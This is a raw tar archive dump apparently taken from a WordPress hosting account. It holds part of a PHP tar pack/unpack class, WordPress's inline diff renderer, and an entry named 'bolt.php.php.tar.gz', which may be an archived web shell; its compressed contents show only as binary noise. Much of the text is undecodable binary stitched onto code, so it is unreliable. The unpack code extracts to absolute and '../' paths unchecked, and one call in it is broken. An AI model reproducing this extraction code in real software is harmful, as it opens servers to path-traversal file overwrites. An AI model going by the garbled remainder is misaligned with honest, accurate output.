						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
